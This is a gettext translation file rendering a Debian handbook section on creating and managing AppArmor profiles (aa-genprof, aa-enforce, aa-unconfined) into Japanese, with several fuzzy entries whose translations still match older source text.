msgstr "監視ログファイル"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "The apparmor-profiles package contains profiles managed by the upstream AppArmor community. To get even more profiles you can install apparmor-profiles-extra which contains profiles developed by Ubuntu and Debian."
msgstr "apparmor-profiles パッケージには上流 AppArmor コミュニティによって管理されているプロファイルが含まれます。さらに多くのプロファイルを入手するには Ubuntu と Debian によって開発されているプロファイルが含まれる apparmor-profiles-extra をインストールしてください。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "ping"
msgid "aa-complain"
msgstr "ping"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "snort"
msgid "aa-enforce"
msgstr "snort"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "iptables"
msgid "aa-disable"
msgstr "iptables"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "The state of each profile can be switched between enforcing and complaining with calls to aa-enforce and aa-complain giving as parameter either the path of the executable or the path to the policy file. Additionaly a profile can be entirely disabled with aa-disable or put in audit mode (to log accepted system calls too) with aa-audit."
msgid "The state of each profile can be switched between enforcing and complaining with calls to aa-enforce and aa-complain giving as parameter either the path of the executable or the path to the policy file. Additionally a profile can be entirely disabled with aa-disable or put in audit mode (to log accepted system calls too) with aa-audit."
msgstr "それぞれのプロファイルの状態を enforce または complain モードに切り替えるには、引数に実行ファイルのパスかポリシーファイルのパスを与えて aa-enforce または aa-complain を呼び出します。さらにプロファイルを完全に無効化するには、aa-disable を使うか aa-audit を使ってプロファイルを audit モード (承認されたシステムコールもログ記録するモード) に切り替えます。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid ""
#| "\n"
#| "# aa-enforce /usr/sbin/avahi-daemon\n"
#| "Setting /usr/sbin/avahi-daemon to enforce mode.\n"
#| "# aa-complain /etc/apparmor.d/usr.bin.lxc-start\n"
#| "Setting /etc/apparmor.d/usr.bin.lxc-start to complain mode.\n"
#| " "
msgid ""
"\n"
"# aa-enforce /usr/bin/pidgin\n"
"Setting /usr/bin/pidgin to enforce mode.\n"
"# aa-complain /usr/sbin/dnsmasq\n"
"Setting /usr/sbin/dnsmasq to complain mode."
msgstr ""
"\n"
"# aa-enforce /usr/sbin/avahi-daemon\n"
"Setting /usr/sbin/avahi-daemon to enforce mode.\n"
"# aa-complain /etc/apparmor.d/usr.bin.lxc-start\n"
"Setting /etc/apparmor.d/usr.bin.lxc-start to complain mode.\n"
" "
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Creating a new profile"
msgstr "新規プロファイルの作成"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Even though creating an AppArmor profile is rather easy, most programs do not have one. This section will show you how to create a new profile from scratch just by using the target program and letting AppArmor monitor the system call it makes and the resources it accesses."
msgstr "AppArmor プロファイルを作成することはかなり簡単な作業であるにも関わらず、多くのプログラムがプロファイルを用意していません。この節では、対象のプログラムを使いながら AppArmor に対象のプログラムが呼び出したシステムコールとアクセスするリソースを監視させることにより、ゼロから新しいプロファイルを作成する方法を示します。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "ping"
msgid "aa-unconfined"
msgstr "ping"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "The most important programs that need to be confined are the network facing programs as those are the most likely targets of remote attackers. That is why AppArmor conveniently provides an aa-unconfined command to list the programs which have no associated profile and which expose an open network socket. With the --paranoid option you get all unconfined processes that have at least one active network connection."
msgstr "アクセス制限を設ける必要のある最も重要なプログラムはネットワークを取り扱うプログラムです。なぜなら、この種のプログラムは遠隔攻撃者からの標的になるからです。このため好都合なことに AppArmor には aa-unconfined コマンドが用意されています。aa-unconfined コマンドは関連するプロファイルが存在せず開かれたネットワークソケットを公開しているプログラムを表示します。aa-unconfined に --paranoid オプションを付けて実行すれば、少なくとも 1 つ以上のアクティブなネットワーク接続を持つアクセス制限を設けていないプロセスがすべて表示されます。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid ""
#| "$ id -Z\n"
#| "unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023"
msgid ""
"\n"
"# aa-unconfined\n"
"451 /usr/bin/containerd not confined\n"
"467 /usr/sbin/sshd (sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups) not confined\n"
"892 /usr/sbin/exim4 not confined\n"
""
msgstr ""
"$ id -Z\n"
"unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "In the following example, we will thus try to create a profile for /sbin/dhclient. For this we will use aa-genprof dhclient. It will invite you to use the application in another window and when done to come back to aa-genprof to scan for AppArmor events in the system logs and convert those logs into access rules. For each logged event, it will make one or more rule suggestions that you can either approve or further edit in multiple ways:"
msgid "In the following example, we will thus try to create a profile for /sbin/dhclient (there already is a profile shipped by apparmor-profiles, so you can compare your results to the official one). For this we will use aa-genprof dhclient. It will invite you to use the application in another window and when done to come back to aa-genprof to scan for AppArmor events in the system logs and convert those logs into access rules. For each logged event, it will make one or more rule suggestions that you can either approve or further edit in multiple ways:"
msgstr "以下の例では、/sbin/dhclient 用のプロファイルを作成しようとしています。プロファイルを作成するためには aa-genprof dhclient を使います。aa-genprof はユーザに別のウィンドウから対象のアプリケーションを開始することを求め、その後ユーザにシステムログ内の AppArmor イベントをスキャンしてこれらのログをアクセス規則に変換するために aa-genprof に戻ることを求めます。ログ記録されたそれぞれのイベントについて、aa-genprof は 1 つ以上の規則を提案します。ユーザは提案された規則を受け入れるかまたはさまざまな方法で規則を編集することが可能です。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid ""
#| "\n"
#| "# aa-genprof dhclient\n"
#| "Writing updated profile for /sbin/dhclient.\n"
#| "Setting /sbin/dhclient to complain mode.\n"
#| "\n"
#| "Before you begin, you may wish to check if a\n"
#| "profile already exists for the application you\n"
#| "wish to confine. See the following wiki page for\n"
#| "more information:\n"
#| "http://wiki.apparmor.net/index.php/Profiles\n"
#| "\n"
#| "Please start the application to be profiled in\n"
#| "another window and exercise its functionality now.\n"
#| "\n"
#| "Once completed, select the \"Scan\" option below in \n"
#| "order to scan the system logs for AppArmor events. \n"
#| "\n"
#| "For each AppArmor event, you will be given the \n"
#| "opportunity to choose whether the access should be \n"
#| "allowed or denied.\n"
#| "\n"
#| "Profiling: /sbin/dhclient\n"
#| "\n"
#| "[(S)can system log for AppArmor events] / (F)inish\n"
#| "Reading log entries from /var/log/audit/audit.log.\n"
#| "\n"
#| "Profile: /sbin/dhclient \n"
#| "Execute: /usr/lib/NetworkManager/nm-dhcp-helper\n"
#| "Severity: unknown\n"
#| "\n"
#| "(I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r)t / (F)inish\n"
#| "P\n"
#| "Should AppArmor sanitise the environment when\n"
#| "switching profiles?\n"
#| "\n"
#| "Sanitising environment is more secure,\n"
#| "but some applications depend on the presence\n"
#| "of LD_PRELOAD or LD_LIBRARY_PATH.\n"
#| "\n"
#| "(Y)es / [(N)o]\n"
#| "Y\n"
#| "Writing updated profile for /usr/lib/NetworkManager/nm-dhcp-helper.\n"
#| "Complain-mode changes:\n"
#| "WARN: unknown capability: CAP_net_raw\n"
#| "\n"
#| "Profile: /sbin/dhclient \n"
#| "Capability: net_raw\n"
#| "Severity: unknown\n"
#| "\n"
#| "[(A)llow] / (D)eny / (I)gnore / Audi(t) / Abo(r)t / (F)inish\n"
#| "A\n"
#| "Adding capability net_raw to profile.\n"
#| "\n"
#| "Profile: /sbin/dhclient \n"
#| "Path: /etc/nsswitch.conf\n"
#| "Mode: r\n"
#| "Severity: unknown\n"
#| "\n"
#| " 1 - #include <abstractions/apache2-common> \n"
#| " 2 - #include <abstractions/libvirt-qemu> \n"
#| " 3 - #include <abstractions/nameservice> \n"
#| " 4 - #include <abstractions/totem> \n"
#| " [5 - /etc/nsswitch.conf]\n"
#| "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
#| "3\n"
#| "\n"
#| "Profile: /sbin/dhclient\n"
#| "Path: /etc/nsswitch.conf\n"
#| "Mode: r\n"
#| "Severity: unknown\n"
#| "\n"
#| " 1 - #include <abstractions/apache2-common> \n"
#| " 2 - #include <abstractions/libvirt-qemu> \n"
#| " [3 - #include <abstractions/nameservice>]\n"
#| " 4 - #include <abstractions/totem> \n"
#| " 5 - /etc/nsswitch.conf \n"
#| "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
#| "A\n"
#| "Adding #include <abstractions/nameservice> to profile.\n"
#| "\n"
#| "Profile: /sbin/dhclient\n"
#| "Path: /proc/7252/net/dev\n"
#| "Mode: r\n"
#| "Severity: 6\n"
#| "\n"
#| " 1 - /proc/7252/net/dev \n"
#| " [2 - /proc/*/net/dev]\n"
#| "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
#| "A\n"
#| "Adding /proc/*/net/dev r to profile\n"
#| "\n"
#| "[...]\n"
#| "Profile: /sbin/dhclient \n"
#| "Path: /run/dhclient-eth0.pid\n"
#| "Mode: w\n"
#| "Severity: unknown\n"
#| "\n"
#| " [1 - /run/dhclient-eth0.pid]\n"
#| "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
#| "N\n"
#| "\n"
#| "Enter new path: /run/dhclient*.pid\n"
#| "\n"
#| "Profile: /sbin/dhclient\n"
#| "Path: /run/dhclient-eth0.pid\n"
#| "Mode: w\n"
#| "Severity: unknown\n"
#| "\n"
#| " 1 - /run/dhclient-eth0.pid \n"
#| " [2 - /run/dhclient*.pid]\n"
#| "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
#| "A\n"
#| "Adding /run/dhclient*.pid w to profile\n"
#| "\n"
#| "[...]\n"
#| "Profile: /usr/lib/NetworkManager/nm-dhcp-helper \n"
#| "Path: /proc/filesystems\n"
#| "Mode: r\n"
#| "Severity: 6\n"
#| "\n"
#| " [1 - /proc/filesystems]\n"
#| "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
#| "A\n"
#| "Adding /proc/filesystems r to profile\n"
#| "\n"
#| "= Changed Local Profiles =\n"
#| "\n"
#| "The following local profiles were changed. Would you like to save them?\n"
#| "\n"
#| " [1 - /sbin/dhclient]\n"
#| " 2 - /usr/lib/NetworkManager/nm-dhcp-helper \n"
#| "(S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t\n"
#| "S\n"
#| "Writing updated profile for /sbin/dhclient.\n"
#| "Writing updated profile for /usr/lib/NetworkManager/nm-dhcp-helper.\n"
#| "\n"
#| "Profiling: /sbin/dhclient\n"
#| "\n"
#| "[(S)can system log for AppArmor events] / (F)inish\n"
#| "F\n"
#| "Setting /sbin/dhclient to enforce mode.\n"
#| "Setting /usr/lib/NetworkManager/nm-dhcp-helper to enforce mode.\n"
#| "\n"
#| "Reloaded AppArmor profiles in enforce mode.\n"
#| "\n"
#| "Please consider contributing your new profile!\n"
#| "See the following wiki page for more information:\n"
#| "http://wiki.apparmor.net/index.php/Profiles\n"
#| "\n"
#| "Finished generating profile for /sbin/dhclient."
msgid ""
"\n"
"# aa-genprof dhclient\n"
"Writing updated profile for /usr/sbin/dhclient.\n"
"Setting /usr/sbin/dhclient to complain mode.\n"
"\n"
"Before you begin, you may wish to check if a\n"
"profile already exists for the application you\n"
"wish to confine. See the following wiki page for\n"
"more information:\n"
"https://gitlab.com/apparmor/apparmor/wikis/Profiles\n"
"\n"
"Profiling: /usr/sbin/dhclient\n"
"\n"
"Please start the application to be profiled in\n"
"another window and exercise its functionality now.\n"
"\n"
"Once completed, select the \"Scan\" option below in \n"
"order to scan the system logs for AppArmor events. \n"
"\n"
"For each AppArmor event, you will be given the \n"
"opportunity to choose whether the access should be \n"
"allowed or denied.\n"
"\n"
"[(S)can system log for AppArmor events] / (F)inish\n"
"S\n"
"Reading log entries from /var/log/syslog.\n"
"\n"
"Profile: /usr/sbin/dhclient \n"
"Execute: /usr/sbin/dhclient-script\n"
"Severity: unknown\n"
"\n"
"(I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r)t / (F)inish\n"
"P\n"
"\n"
"Should AppArmor sanitise the environment when\n"
"switching profiles?\n"
"\n"
"Sanitising environment is more secure,\n"
"but some applications depend on the presence\n"
"of LD_PRELOAD or LD_LIBRARY_PATH.\n"
"\n"
"[(Y)es] / (N)o\n"
"Y\n"
"Writing updated profile for /usr/sbin/dhclient-script.\n"
"Complain-mode changes:\n"
"\n"
"Profile: /usr/sbin/dhclient \n"
"Capability: net_raw\n"
"Severity: 8\n"
"\n"
" [1 - capability net_raw,]\n"
"(A)llow / [(D)eny] / (I)gnore / Audi(t) / Abo(r)t / (F)inish\n"
"A\n"
"Adding capability net_raw, to profile.\n"
"\n"
"Profile: /usr/sbin/dhclient\n"
"Capability: net_bind_service\n"
"Severity: 8\n"
"\n"
" [1 - #include <abstractions/nis>]\n"
" 2 - capability net_bind_service,\n"
"(A)llow / [(D)eny] / (I)gnore / Audi(t) / Abo(r)t / (F)inish\n"
"A\n"
"Adding #include <abstractions/nis> to profile.\n"
"\n"
"Profile: /usr/sbin/dhclient \n"
"Path: /etc/ssl/openssl.cnf\n"
"New Mode: owner r\n"
"Severity: 2\n"
"\n"
" [1 - #include <abstractions/lightdm>]\n"
" 2 - #include <abstractions/openssl>\n"
" 3 - #include <abstractions/ssl_keys>\n"
" 4 - owner /etc/ssl/openssl.cnf r,\n"
"(A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish\n"
"2\n"
"\n"
"Profile: /usr/sbin/dhclient\n"
"Path: /etc/ssl/openssl.cnf\n"
"New Mode: owner r\n"
"Severity: 2\n"
"\n"
" 1 - #include <abstractions/lightdm> \n"
" [2 - #include <abstractions/openssl>]\n"
" 3 - #include <abstractions/ssl_keys>\n"
" 4 - owner /etc/ssl/openssl.cnf r, \n"
"[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
"A\n"
"[...]\n"
"Profile: /usr/sbin/dhclient-script \n"
"Path: /usr/bin/dash\n"
"New Mode: owner r\n"
"Severity: unknown\n"
"\n"
" 1 - #include <abstractions/gvfs-open>\n"
" [2 - #include <abstractions/lightdm>]\n"
" 3 - #include <abstractions/ubuntu-browsers.d/plugins-common>\n"
" 4 - #include <abstractions/xdg-open>\n"
" 5 - owner /usr/bin/dash r,\n"
"(A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish\n"
"A\n"
"Adding #include <abstractions/lightdm> to profile.\n"
"Deleted 2 previous matching profile entries.\n"
"\n"
"= Changed Local Profiles =\n"
"\n"
"The following local profiles were changed. Would you like to save them?\n"
"\n"
" [1 - /usr/sbin/dhclient]\n"
" 2 - /usr/sbin/dhclient-script\n"
"(S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t\n"
"S\n"
"Writing updated profile for /usr/sbin/dhclient.\n"
"Writing updated profile for /usr/sbin/dhclient-script.\n"
"\n"
"Profiling: /usr/sbin/dhclient\n"
"\n"
"Please start the application to be profiled in\n"
"another window and exercise its functionality now.\n"
"\n"
"Once completed, select the \"Scan\" option below in\n"
"order to scan the system logs for AppArmor events.\n"
"\n"
"For each AppArmor event, you will be given the\n"
"opportunity to choose whether the access should be\n"
"allowed or denied.\n"
"\n"
"[(S)can system log for AppArmor events] / (F)inish\n"
"F\n"
"Setting /usr/sbin/dhclient to enforce mode.\n"
"Setting /usr/sbin/dhclient-script to enforce mode.\n"
"\n"
"Reloaded AppArmor profiles in enforce mode.\n"
"\n"
"Please consider contributing your new profile!\n"
"See the following wiki page for more information:\n"
"https://gitlab.com/apparmor/apparmor/wikis/Profiles\n"
"\n"
"Finished generating profile for /usr/sbin/dhclient."
msgstr ""
"\n"
"# aa-genprof dhclient\n"
"Writing updated profile for /sbin/dhclient.\n"
"Setting /sbin/dhclient to complain mode.\n"
"\n"
"Before you begin, you may wish to check if a\n"
"profile already exists for the application you\n"
"wish to confine. See the following wiki page for\n"
"more information:\n"
"http://wiki.apparmor.net/index.php/Profiles\n"
"\n"
"Please start the application to be profiled in\n"
"another window and exercise its functionality now.\n"
"\n"
"Once completed, select the \"Scan\" option below in \n"
"order to scan the system logs for AppArmor events. \n"
"\n"
"For each AppArmor event, you will be given the \n"
"opportunity to choose whether the access should be \n"
"allowed or denied.\n"
"\n"
"Profiling: /sbin/dhclient\n"
"\n"
"[(S)can system log for AppArmor events] / (F)inish\n"
"Reading log entries from /var/log/audit/audit.log.\n"
"\n"
"Profile: /sbin/dhclient \n"
"Execute: /usr/lib/NetworkManager/nm-dhcp-helper\n"
"Severity: unknown\n"
"\n"
"(I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r)t / (F)inish\n"
"P\n"
"Should AppArmor sanitise the environment when\n"
"switching profiles?\n"
"\n"
"Sanitising environment is more secure,\n"
"but some applications depend on the presence\n"
"of LD_PRELOAD or LD_LIBRARY_PATH.\n"
"\n"
"(Y)es / [(N)o]\n"
"Y\n"
"Writing updated profile for /usr/lib/NetworkManager/nm-dhcp-helper.\n"
"Complain-mode changes:\n"
"WARN: unknown capability: CAP_net_raw\n"
"\n"
"Profile: /sbin/dhclient \n"
"Capability: net_raw\n"
"Severity: unknown\n"
"\n"
"[(A)llow] / (D)eny / (I)gnore / Audi(t) / Abo(r)t / (F)inish\n"
"A\n"
"Adding capability net_raw to profile.\n"
"\n"
"Profile: /sbin/dhclient \n"
"Path: /etc/nsswitch.conf\n"
"Mode: r\n"
"Severity: unknown\n"
"\n"
" 1 - #include <abstractions/apache2-common> \n"
" 2 - #include <abstractions/libvirt-qemu> \n"
" 3 - #include <abstractions/nameservice> \n"
" 4 - #include <abstractions/totem> \n"
" [5 - /etc/nsswitch.conf]\n"
"[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
"3\n"
"\n"
"Profile: /sbin/dhclient\n"
"Path: /etc/nsswitch.conf\n"
"Mode: r\n"
"Severity: unknown\n"
"\n"
" 1 - #include <abstractions/apache2-common> \n"
" 2 - #include <abstractions/libvirt-qemu> \n"
" [3 - #include <abstractions/nameservice>]\n"
" 4 - #include <abstractions/totem> \n"
" 5 - /etc/nsswitch.conf \n"
"[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
"A\n"
"Adding #include <abstractions/nameservice> to profile.\n"
"\n"
"Profile: /sbin/dhclient\n"
"Path: /proc/7252/net/dev\n"
"Mode: r\n"
"Severity: 6\n"
"\n"
" 1 - /proc/7252/net/dev \n"
" [2 - /proc/*/net/dev]\n"
"[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
"A\n"
"Adding /proc/*/net/dev r to profile\n"
"\n"
"[...]\n"
"Profile: /sbin/dhclient \n"
"Path: /run/dhclient-eth0.pid\n"
"Mode: w\n"
"Severity: unknown\n"
"\n"
" [1 - /run/dhclient-eth0.pid]\n"
"[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
"N\n"
"\n"
"Enter new path: /run/dhclient*.pid\n"
"\n"
"Profile: /sbin/dhclient\n"
"Path: /run/dhclient-eth0.pid\n"
"Mode: w\n"
"Severity: unknown\n"
"\n"
" 1 - /run/dhclient-eth0.pid \n"
" [2 - /run/dhclient*.pid]\n"
"[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
"A\n"
"Adding /run/dhclient*.pid w to profile\n"
"\n"
"[...]\n"
"Profile: /usr/lib/NetworkManager/nm-dhcp-helper \n"
"Path: /proc/filesystems\n"
"Mode: r\n"
"Severity: 6\n"
"\n"
" [1 - /proc/filesystems]\n"
"[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
"A\n"
"Adding /proc/filesystems r to profile\n"
"\n"
"= Changed Local Profiles =\n"
"\n"
"The following local profiles were changed. Would you like to save them?\n"
"\n"
" [1 - /sbin/dhclient]\n"
" 2 - /usr/lib/NetworkManager/nm-dhcp-helper \n"
"(S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t\n"
"S\n"
"Writing updated profile for /sbin/dhclient.\n"
"Writing updated profile for /usr/lib/NetworkManager/nm-dhcp-helper.\n"
"\n"
"Profiling: /sbin/dhclient\n"
"\n"
"[(S)can system log for AppArmor events] / (F)inish\n"
"F\n"
"Setting /sbin/dhclient to enforce mode.\n"
"Setting /usr/lib/NetworkManager/nm-dhcp-helper to enforce mode.\n"
"\n"
"Reloaded AppArmor profiles in enforce mode.\n"
"\n"
"Please consider contributing your new profile!\n"
"See the following wiki page for more information:\n"
"http://wiki.apparmor.net/index.php/Profiles\n"
"\n"
"Finished generating profile for /sbin/dhclient."
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "Note that the program does not display back the control characters that you type but for the clarity of the explanation I have included them in the previous transcript."
msgid "Note that the program does not display back the control characters that you type but for the clarity of the explanation we have included them in the previous transcript."
msgstr "aa-genprof プログラムはユーザが入力した操作文字を再表示しないという点に注意してください。しかし、上に挙げた例では説明を明確に行うために、ユーザが入力した操作文字をその直後に表記しています。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "The first event detected is the execution of another program. In that case, you have multiple choices: you can run the program with the profile of the parent process (the “Inherit” choice), you can run it with its own dedicated profile (the “Profile” and the “Named” choices, differing only by the possibility to use an arbitrary profile name), you can run it with a sub-profile of the parent process (the “Child” choice), you can run it without any profile (the “Unconfined” choice) or you can decide to not run it at all (the “Deny” choice)."
msgstr "最初に別のプログラムである nm-dhcp-helper の実行イベントが検出されています。この場合、ユーザに対していくつかの選択肢が示されます。ユーザは dhclient のプロファイルを適用して nm-dhcp-helper を実行したり (「Inherit」を選んだ場合)、専用のプロファイルを適用して nm-dhcp-helper を実行したり (「Profile」と「Named」を選んだ場合。両者の違いは任意のプロファイル名を使用する可能性があるか否かです)、dhclient のサブプロファイルを適用して nm-dhcp-helper を実行したり (「Child」を選んだ場合)、プロファイルを適用せずに nm-dhcp-helper を実行したり (「Unconfined」を選んだ場合)、nm-dhcp-helper の実行を拒否したり (「Deny」を選んだ場合) することも可能です。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "Note that when you opt to run it under a dedicated profile that doesn't exist yet, the tool will create the missing profile for you and will make rule suggestions for that profile in the same run."
msgstr "ここでまだ存在しない専用プロファイルを適用して nm-dhcp-helper を実行することを選んだ場合、aa-genprof ツールは不足しているプロファイルを作成し、さらにこのプロファイルに対する規則を提案します。この点に注意してください。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 7 capabilities;
# Tag: L-CFMD;
msgid "At the kernel level, the special powers of the root user have been split in “capabilities”. When a system call requires a specific capability, AppArmor will verify whether the profile allows the program to make use of this capability."
msgstr "カーネルレベルでは root ユーザの特権が「capability」に分割されます。dhclient からのシステムコールが特定の「capability」を要求する場合、AppArmor はプロファイルの中でプログラムがその「capability」を使うことを許可されているかを確認します。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "Here the program seeks read permissions for /etc/nsswitch.conf. aa-genprof detected that this permission was also granted by multiple “abstractions” and offers them as alternative choices. An abstraction provides a reusable set of access rules grouping together multiple resources that are commonly used together. In this specific case, the file is generally accessed through the nameservice related functions of the C library and we type “3” to first select the “#include <abstractions/nameservice>” choice and then “A” to allow it."
msgid "Here the program seeks read permissions for /etc/ssl/openssl.cnf. aa-genprof detected that this permission was also granted by multiple “abstractions” and offers them as alternative choices. An abstraction provides a reusable set of access rules grouping together multiple resources that are commonly used together. In this specific case, the file is generally accessed through the nameservice related functions of the C library and we type “2” to first select the “#include <abstractions/openssl>” choice and then “A” to allow it."
msgstr "ここで dhclient は /etc/nsswitch.conf を読み込もうとしています。aa-genprof は複数の「abstraction」を介して /etc/nsswitch.conf の読み込みが可能になることを検出し、代替選択肢として該当する「abstraction」を挙げています。abstraction とは通常同時に使われる複数のリソースをまとめた一連のアクセス規則を再利用できる形で提供するものです。今回の場合、/etc/nsswitch.conf ファイルは一般に C 言語ライブラリのネームサービスに関連する関数を通じてアクセスされます。ここでは最初に「3」を入力して「#include <abstractions/nameservice>」を選択し、その後に「A」を入力して/etc/nsswitch.conf の読み込みを許可しています。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "Notice that this access request is not part of the dhclient profile but of the new profile that we created when we allowed /usr/lib/NetworkManager/nm-dhcp-helper to run with its own profile."
msgid "Notice that this access request is not part of the dhclient profile but of the new profile that we created when we allowed /usr/sbin/dhclient-script to run with its own profile."
msgstr "このアクセス要求に対するアクセス規則は dhclient 専用のプロファイルではなく、/usr/lib/NetworkManager/nm-dhcp-helper 専用のプロファイルを適用して nm-dhcp-helper を実行することを許可した際に作成された新しいプロファイルに組み込まれる点に注意してください。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "After having gone through all the logged events, the program offers to save all the profiles that were created during the run. In this case, we have two profiles that we save at once with “Save” (but you can save them individually too) before leaving the program with “Finish”."
msgstr "ログ記録されたすべてのイベントを検討した後、aa-genprof プログラムは実行中に作成されたすべてのプロファイルを保存することを提案します。今回の場合、2 つのプロファイルを「Save」を使って一度に保存した後 (1 つずつ保存することも可能です)、「Finish」でプログラムを終了しています。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "semanage"
msgid "aa-genprof"
msgstr "semanage"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "top"
msgid "aa-logprof"
msgstr "top"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "aa-genprof is in fact only a smart wrapper around aa-logprof: it creates an empty profile, loads it in complain mode and then run aa-logprof which is a tool to update a profile based on the profile violations that have been logged. So you can re-run that tool later to improve the profile that you just created."
msgstr "実際のところ aa-genprof は aa-logprof の洗練されたラッパーに過ぎません。すなわち aa-genprof は空のプロファイルを作成し、complain モードでそのプロファイルを読み込み、aa-logprof を実行しているだけです。aa-logprof はログ記録されたプロファイル違反に基づいてプロファイルを更新するツールです。このため、たった今作成したプロファイルを改良するために aa-genprof をもう一度実行することが可能です。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "If you want the generated profile to be complete, you should use the program in all the ways that it is legitimately used. In the case of dhclient, it means running it via Network Manager, running it via ifupdown, running it manually, etc. In the end, you might get a /etc/apparmor.d/sbin.dhclient close to this:"
msgid "If you want the generated profile to be complete, you should use the program in all the ways that it is legitimately used. In the case of dhclient, it means running it via Network Manager, running it via ifupdown, running it manually, etc. In the end, you might get a /etc/apparmor.d/usr.sbin.dhclient close to the profile shipped by apparmor-profiles in /usr/share/apparmor/extra-profiles/sbin.dhclient."
msgstr "完全なプロファイルを作成したいならば、対象のプログラムに対するすべての合法的な使い方を試してみるべきです。dhclient の場合、NetworkManager を介して実行したり、ifupdown を介して実行したり、手作業で実行したりすることを意味します。こうすることで最終的に作成される /etc/apparmor.d/sbin.dhclient は完全なプロファイルに近いものとなるでしょう。"
msgid "And /etc/apparmor.d/usr.sbin.dhclient-script might be similar to /usr/share/apparmor/extra-profiles/sbin.dhclient, shipped in apparmor-profiles too."
msgstr ""
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Introduction to SELinux"
msgstr "SELinux の紹介"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "SELinux"
msgstr "SELinux"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "security context"
msgid "Security Enhanced LinuxSELinux"
msgstr "セキュリティコンテキスト"
#, fuzzy
#| msgid "logsdisplay"
msgid "SELinuxconcept"
msgstr "ログ表示"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: https://www.nsa.gov/research/selinux/;
msgid "SELinux (Security Enhanced Linux) is a Mandatory Access Control system built on Linux's LSM (Linux Security Modules) interface. In practice, the kernel queries SELinux before each system call to know whether the process is authorized to do the given operation."
msgstr "SELinux (Security Enhanced Linux) は Linux の LSM (Linux Security Modules) インターフェース上に設けられた強制アクセス制御システムです。具体的に言えば、カーネルはそれぞれのシステムコールの前にシステムコールを発行したプロセスが指定された操作に対する権限を与えられているか SELinux に問い合わせます。"
